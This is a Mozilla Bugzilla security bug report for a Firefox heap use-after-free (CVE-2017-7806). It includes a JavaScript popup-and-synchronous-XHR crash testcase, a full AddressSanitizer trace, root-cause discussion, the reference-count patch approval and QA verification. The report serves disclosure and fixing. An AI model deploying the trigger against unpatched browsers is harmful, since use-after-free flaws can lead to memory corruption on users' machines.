Bug 1378113 (CVE-2017-7806)

heap-use-after-free in mozilla::layers::ClientLayerManager::DidComposite

RESOLVED FIXED in Firefox 55

Status

()

defect
P3
normal
RESOLVED FIXED
2 years ago
a year ago

People

(Reporter: nils, Assigned: nical)

Tracking

(4 keywords)

54 Branch
mozilla56
Points:
---
Bug Flags:
sec-bounty +
qe-verify +

Firefox Tracking Flags

(firefox-esr52 unaffected, firefox54 wontfix, firefox55+ fixed, firefox56+ verified)

Details

(Whiteboard: [gfx-noted][adv-main55+][post-critsmash-triage])

Attachments

(4 attachments)

(Reporter)

Description

2 years ago
The following testcase crashes the latest ASAN build of Firefox (BuildID=20170703081455). It requires the attached 05crab.svg file in the same directory. Attempts to minimise the file were unsuccessful and made the testcase far less reliable.

<script>
function start() {
	o1=window.open('05crab.svg','popup41','width=-11,left=7,innerWidth=2621447,resizable');
	window.open('data:text/html,<div>','popup31','left=-2,menubar,toolbar');
	o1.onresize=fun0;
	o1.resizeTo(-26618,2);
	o1.close();
}
function fun0() {
	x=new XMLHttpRequest();
	x.open("POST","https://mozilla.org",false);
	try{x.send("test");}catch(e){}
}
</script>
<body onload="start()"></body>


ASAN report:
=================================================================
==27239==ERROR: AddressSanitizer: heap-use-after-free on address 0x6140001bb1d8 at pc 0x7f6be0f281b6 bp 0x7ffe4ec3af90 sp 0x7ffe4ec3af88
READ of size 8 at 0x6140001bb1d8 thread T0 (Web Content)
    #0 0x7f6be0f281b5 in Length /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:398:37
    #1 0x7f6be0f281b5 in mozilla::layers::ClientLayerManager::DidComposite(unsigned long, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /home/worker/workspace/build/src/gfx/layers/client/ClientLayerManager.cpp:520
    #2 0x7f6be1018c45 in mozilla::layers::CompositorBridgeChild::RecvDidComposite(unsigned long const&, unsigned long const&, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /home/worker/workspace/build/src/gfx/layers/ipc/CompositorBridgeChild.cpp:525:14
    #3 0x7f6be0288415 in mozilla::layers::PCompositorBridgeChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PCompositorBridgeChild.cpp:1443:20
    #4 0x7f6bdfb4253e in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2093:25
    #5 0x7f6bdfb3f354 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2019:17
    #6 0x7f6bdfb40fa4 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1888:5
    #7 0x7f6bdfb41588 in mozilla::ipc::MessageChannel::MessageTask::Run() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1921:15
    #8 0x7f6bded391af in mozilla::SchedulerGroup::Runnable::Run() /home/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:367:25
    #9 0x7f6bded65f48 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1422:14
    #10 0x7f6bded6c098 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:489:10
    #11 0x7f6bdfb4a1f1 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21
    #12 0x7f6bdfaa6be0 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:320:10
    #13 0x7f6bdfaa6be0 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:313
    #14 0x7f6bdfaa6be0 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:293
    #15 0x7f6be514ca6f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:27
    #16 0x7f6be937fa47 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:895:22
    #17 0x7f6bdfaa6be0 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:320:10
    #18 0x7f6bdfaa6be0 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:313
    #19 0x7f6bdfaa6be0 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:293
    #20 0x7f6be937f4ad in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:711:34
    #21 0x4eb813 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:30
    #22 0x4eb813 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:286
    #23 0x7f6bfbf4c82f in __libc_start_main /build/glibc-9tT8Do/glibc-2.23/csu/../csu/libc-start.c:291
    #24 0x41d168 in _start (/home/nils/fuzzer3/firefox/firefox+0x41d168)

0x6140001bb1d8 is located 408 bytes inside of 424-byte region [0x6140001bb040,0x6140001bb1e8)
freed by thread T0 (Web Content) here:
    #0 0x4bb69b in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3
    #1 0x7f6be5124384 in Release /home/worker/workspace/build/src/obj-firefox/dist/include/Layers.h:180:3
    #2 0x7f6be5124384 in Release /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:40
    #3 0x7f6be5124384 in Release /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:395
    #4 0x7f6be5124384 in assign_assuming_AddRef /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:65
    #5 0x7f6be5124384 in operator= /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:166
    #6 0x7f6be5124384 in mozilla::widget::PuppetWidget::Destroy() /home/worker/workspace/build/src/widget/PuppetWidget.cpp:198
    #7 0x7f6be49ff837 in mozilla::dom::TabChild::DestroyWindow() /home/worker/workspace/build/src/dom/ipc/TabChild.cpp:1030:24
    #8 0x7f6be4a118c4 in mozilla::dom::TabChild::RecvDestroy() /home/worker/workspace/build/src/dom/ipc/TabChild.cpp:2361:3
    #9 0x7f6be018e9ae in mozilla::dom::PBrowserChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PBrowserChild.cpp:4248:20
    #10 0x7f6be02fb19c in mozilla::dom::PContentChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PContentChild.cpp:5288:28
    #11 0x7f6bdfb4253e in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2093:25
    #12 0x7f6bdfb3f354 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2019:17
    #13 0x7f6bdfb40fa4 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1888:5
    #14 0x7f6bdfb41588 in mozilla::ipc::MessageChannel::MessageTask::Run() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1921:15
    #15 0x7f6bded391af in mozilla::SchedulerGroup::Runnable::Run() /home/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:367:25
    #16 0x7f6bded65f48 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1422:14
    #17 0x7f6bded6c098 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:489:10
    #18 0x7f6be4fadc95 in SpinEventLoopUntil<mozilla::ProcessFailureBehavior::ReportToCaller, (lambda at /home/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:3088:31)> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:323:25
    #19 0x7f6be4fadc95 in mozilla::dom::XMLHttpRequestMainThread::SendInternal(mozilla::dom::BodyExtractorBase const*) /home/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:3088
    #20 0x7f6be4fcb846 in mozilla::dom::XMLHttpRequestMainThread::Send(JSContext*, nsAString const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.h:379:13
    #21 0x7f6be2be4156 in mozilla::dom::XMLHttpRequestBinding::send(JSContext*, JS::Handle<JSObject*>, mozilla::dom::XMLHttpRequest*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/XMLHttpRequestBinding.cpp:783:13
    #22 0x7f6be3348b1e in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3028:13
    #23 0x7f6be9845724 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15
    #24 0x7f6be9845724 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:470
    #25 0x7f6be982e54b in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:521:12
    #26 0x7f6be982e54b in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3060
    #27 0x7f6be98152c8 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:410:12
    #28 0x7f6be98458bc in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:488:15
    #29 0x7f6be9846212 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:534:10
    #30 0x7f6bea49624e in js::Wrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:169:12
    #31 0x7f6bea45a629 in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:359:23
    #32 0x7f6bea4763d3 in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:481:21
    #33 0x7f6bea478da7 in js::proxy_Call(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:741:12
    #34 0x7f6be9845b6c in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15
    #35 0x7f6be9845b6c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:452
    #36 0x7f6be9846212 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:534:10
    #37 0x7f6bea1bce1b in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2948:12
    #38 0x7f6be2dae555 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:260:37

previously allocated by thread T0 (Web Content) here:
    #0 0x4bb9ec in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3
    #1 0x4ecf0d in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
    #2 0x7f6be5128fa2 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
    #3 0x7f6be5128fa2 in mozilla::widget::PuppetWidget::GetLayerManager(mozilla::layers::PLayerTransactionChild*, mozilla::layers::LayersBackend, nsIWidget::LayerManagerPersistence) /home/worker/workspace/build/src/widget/PuppetWidget.cpp:582
    #4 0x7f6be4a02bc1 in mozilla::dom::TabChild::InitRenderingState(mozilla::layers::TextureFactoryIdentifier const&, unsigned long const&, mozilla::layers::CompositorOptions const&, mozilla::layout::PRenderFrameChild*) /home/worker/workspace/build/src/dom/ipc/TabChild.cpp:2633:24
    #5 0x7f6be4a0272d in mozilla::dom::TabChild::DoFakeShow(mozilla::layers::TextureFactoryIdentifier const&, unsigned long const&, mozilla::layers::CompositorOptions const&, mozilla::layout::PRenderFrameChild*, mozilla::dom::ShowInfo const&) /home/worker/workspace/build/src/dom/ipc/TabChild.cpp:1130:3
    #6 0x7f6be49807d7 in mozilla::dom::ContentChild::ProvideWindowCommon(mozilla::dom::TabChild*, mozIDOMWindowProxy*, bool, unsigned int, bool, bool, bool, nsIURI*, nsAString const&, nsACString const&, bool, bool*, mozIDOMWindowProxy**) /home/worker/workspace/build/src/dom/ipc/ContentChild.cpp:1026:13
    #7 0x7f6be49ff4f0 in mozilla::dom::TabChild::ProvideWindow(mozIDOMWindowProxy*, unsigned int, bool, bool, bool, nsIURI*, nsAString const&, nsACString const&, bool, bool*, mozIDOMWindowProxy**) /home/worker/workspace/build/src/dom/ipc/TabChild.cpp:1004:16
    #8 0x7f6be92eb550 in nsWindowWatcher::OpenWindowInternal(mozIDOMWindowProxy*, char const*, char const*, char const*, bool, bool, bool, nsIArray*, bool, bool, nsIDocShellLoadInfo*, mozIDOMWindowProxy**) /home/worker/workspace/build/src/toolkit/components/windowwatcher/nsWindowWatcher.cpp:879:24
    #9 0x7f6be92f060f in OpenWindow2 /home/worker/workspace/build/src/toolkit/components/windowwatcher/nsWindowWatcher.cpp:444:10
    #10 0x7f6be92f060f in non-virtual thunk to nsWindowWatcher::OpenWindow2(mozIDOMWindowProxy*, char const*, char const*, char const*, bool, bool, bool, nsISupports*, bool, bool, nsIDocShellLoadInfo*, mozIDOMWindowProxy**) /home/worker/workspace/build/src/toolkit/components/windowwatcher/nsWindowWatcher.cpp:416
    #11 0x7f6be164a85a in nsGlobalWindow::OpenInternal(nsAString const&, nsAString const&, nsAString const&, bool, bool, bool, bool, bool, nsIArray*, nsISupports*, nsIDocShellLoadInfo*, bool, nsPIDOMWindowOuter**) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:13036:21
    #12 0x7f6be1648f6f in OpenJS /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:8924:10
    #13 0x7f6be1648f6f in nsGlobalWindow::OpenOuter(nsAString const&, nsAString const&, nsAString const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:8886
    #14 0x7f6be16493fd in nsGlobalWindow::Open(nsAString const&, nsAString const&, nsAString const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:8895:3
    #15 0x7f6be2b1fc22 in mozilla::dom::WindowBinding::open(JSContext*, JS::Handle<JSObject*>, nsGlobalWindow*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/WindowBinding.cpp:2414:56
    #16 0x7f6be2b1e500 in mozilla::dom::WindowBinding::genericMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/obj-firefox/dom/bindings/WindowBinding.cpp:15689:13
    #17 0x7f6be9845724 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15
    #18 0x7f6be9845724 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:470
    #19 0x7f6be982e54b in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:521:12
    #20 0x7f6be982e54b in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3060
    #21 0x7f6be98152c8 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:410:12
    #22 0x7f6be98458bc in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:488:15
    #23 0x7f6be9846212 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:534:10
    #24 0x7f6bea1bce1b in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2948:12
    #25 0x7f6be2dae555 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:260:37
    #26 0x7f6be37386fb in Call<nsISupports *> /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:362:12
    #27 0x7f6be37386fb in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent*) /home/worker/workspace/build/src/dom/events/JSEventHandler.cpp:215
    #28 0x7f6be37017b9 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1142:51
    #29 0x7f6be3703692 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1314:20
    #30 0x7f6be36e37c1 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:464:16
    #31 0x7f6be36e6c92 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:824:9
    #32 0x7f6be593e94f in nsDocumentViewer::LoadComplete(nsresult) /home/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1104:7
    #33 0x7f6be888df3a in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7698:21
    #34 0x7f6be8889f98 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7496:7
    #35 0x7f6be889150f in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7393:13

SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:398:37 in Length
Shadow bytes around the buggy address:
  0x0c288002f5e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c288002f5f0: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
  0x0c288002f600: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c288002f610: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c288002f620: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c288002f630: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fa fa fa
  0x0c288002f640: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c288002f650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c288002f660: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c288002f670: 00 00 00 00 00 00 00 00 07 fa fa fa fa fa fa fa
  0x0c288002f680: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==27239==ABORTING
(Reporter)

Comment 1

2 years ago
(Reporter)

Comment 2

2 years ago
Posted file ASAN output
Group: core-security → gfx-core-security
Flags: sec-bounty?
I haven't been able to reproduce this on release builds older than Fx54 (including ESR52). Note that the testcase can require multiple refreshes before finally crashing (at least for me). I tweaked the testcase to loop indefinitely to make it easier to reproduce, but it still had to run for awhile sometimes before finally crashing. I was able to get a regression range down to around February 12 give or take but it was surprisingly difficult to get it down much further than that.

David, can you take a look or suggest someone else who might?
Flags: needinfo?(dvander)
Version: 56 Branch → 54 Branch
Whiteboard: [gfx-noted]
So the key part is that the send() call spins the event loop, processes the delayed close logic.  What's not clear to me is why the DidComposite bits either still happen after that or don't deal with happening after close...
I guess it's possible we did that destruction callstack under DidComposite or something?  Having a full untruncated destruction stack would answer that.
(In reply to Boris Zbarsky [:bz] from comment #5)
> I guess it's possible we did that destruction callstack under DidComposite
> or something?  Having a full untruncated destruction stack would answer that.

Yup, that is exactly what happens. This [1] should be holding a RefPtr since GetLayerManager does not return one. Alternately, we could hold a ref in ClientLayerManager::DidComposite. it's the transaction notification that is re-entrant [2].

[1] http://searchfox.org/mozilla-central/source/dom/ipc/TabChild.cpp#2948
[2] http://searchfox.org/mozilla-central/source/gfx/layers/client/ClientLayerManager.cpp#519
Flags: needinfo?(dvander)
Assignee: nobody → nical.bugzilla
tracking as sec-high
(Assignee)

Comment 8

2 years ago
Also affects WebRenderLayerManager.
Attachment #8887062 - Flags: review?(dvander)
Attachment #8887062 - Flags: review?(dvander) → review+
(Assignee)

Comment 9

2 years ago
Comment on attachment 8887062 [details] [diff] [review]
Make sure the layer manager stays alive until the end of the method call.

[Security approval request comment]
How easily could an exploit be constructed based on the patch?

I am not very qualified to judge but I expect it wuld be hard to exploit. It's a use-after-free deep down the rendering engine that can't be reproduced easily because it is timing related and it would be hard for js code to influence exactly what the objects in question look like and where they are in memory.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

No.

Which older supported branches are affected by this flaw?

Not sure. I think that this was introduced by recent quantum-flow related changes that that added nested event loops in IPC code. I don't know when they landed but not more than a train or two ago. 

If not all supported branches, which bug introduced the flaw?

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

We can easily backport this fix to any branch (even the ones without the nested event loops, just to be sure).

How likely is this patch to cause regressions; how much testing does it need?

Unlikely.
Attachment #8887062 - Flags: sec-approval?
Comment on attachment 8887062 [details] [diff] [review]
Make sure the layer manager stays alive until the end of the method call.

sec-approval+ for trunk.
We'll want a beta branch patch made and nominated to land ASAP after this lands on trunk.
Attachment #8887062 - Flags: sec-approval? → sec-approval+
(Assignee)

Comment 12

2 years ago
Comment on attachment 8887062 [details] [diff] [review]
Make sure the layer manager stays alive until the end of the method call.

Approval Request Comment
[Feature/Bug causing the regression]:
[User impact if declined]: UAF crash.
[Is this code covered by automated tests?]: No.
[Has the fix been verified in Nightly?]: It has landed, but hasn't baked in nightly enough to know for certain that the problem is gone. Some local testing suggests it is fixed.
[Needs manual test from QE? If yes, steps to reproduce]: No.
[List of other uplifts needed for the feature/fix]: None.
[Is the change risky?]: No.
[Why is the change risky/not risky?]: Very simple, just increment/decrement a reference count if the object lifetime change could cause an issue it would be only in a situation where we are crashing with with UAF.
[String changes made/needed]: None.
Attachment #8887062 - Flags: approval-mozilla-beta?
(Assignee)

Comment 13

2 years ago
The patch applies cleanly to beta.
https://hg.mozilla.org/mozilla-central/rev/6b0a79f90094
Status: NEW → RESOLVED
Last Resolved: 2 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla56
Comment on attachment 8887062 [details] [diff] [review]
Make sure the layer manager stays alive until the end of the method call.

uaf fix, sec-high, beta55+

should be in 55.0b12
Attachment #8887062 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
No longer blocks: 1382636
Duplicate of this bug: 1382636
Alias: CVE-2017-7806
Whiteboard: [gfx-noted] → [gfx-noted][adv-main55+]
Flags: sec-bounty? → sec-bounty+
Group: gfx-core-security → core-security-release
Flags: qe-verify+
Whiteboard: [gfx-noted][adv-main55+] → [gfx-noted][adv-main55+][post-critsmash-triage]
I was able to reproduce the crash on an affected asan build (56.0a1, 20170704100439) using the test case from Comment 0 on Ubuntu 16.04 x64.

The crash is no longer occurring on Ubuntu 16.04 x64 using asan 56.0a1 (20170801004347), but asan 52.2.1esr (20170731121041) and 55.0b14 (20170731114018) are crashing easily. Nicolas, any thoughts on this?
Flags: needinfo?(nical.bugzilla)
(Assignee)

Comment 19

2 years ago
55.0b14 (20170731114018) should have the fix, do you have a crash report handy so that I cam check that the issue is the same? I haven't made any uplift to esr branches, it would probably make sense to land the patch there as well.
Flags: needinfo?(nical.bugzilla)
(In reply to Nicolas Silva [:nical] from comment #19)
> 55.0b14 (20170731114018) should have the fix, do you have a crash report
> handy so that I cam check that the issue is the same? I haven't made any
> uplift to esr branches, it would probably make sense to land the patch there
> as well.

Per our conversation on irc, I'm unable to provide a crash report because both 55.0b14 and 52.2esr are completely killed off by the test case, with no crash reports displayed in about:crashes. Nicolas will try to reproduce this locally.
(Assignee)

Comment 21

2 years ago
I downloaded and updated a beta build and ran the test case continuously for a few minutes without crashing. I did the same with a a fresh beta build off of mercurial and the issue doesn't reproduce either.
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.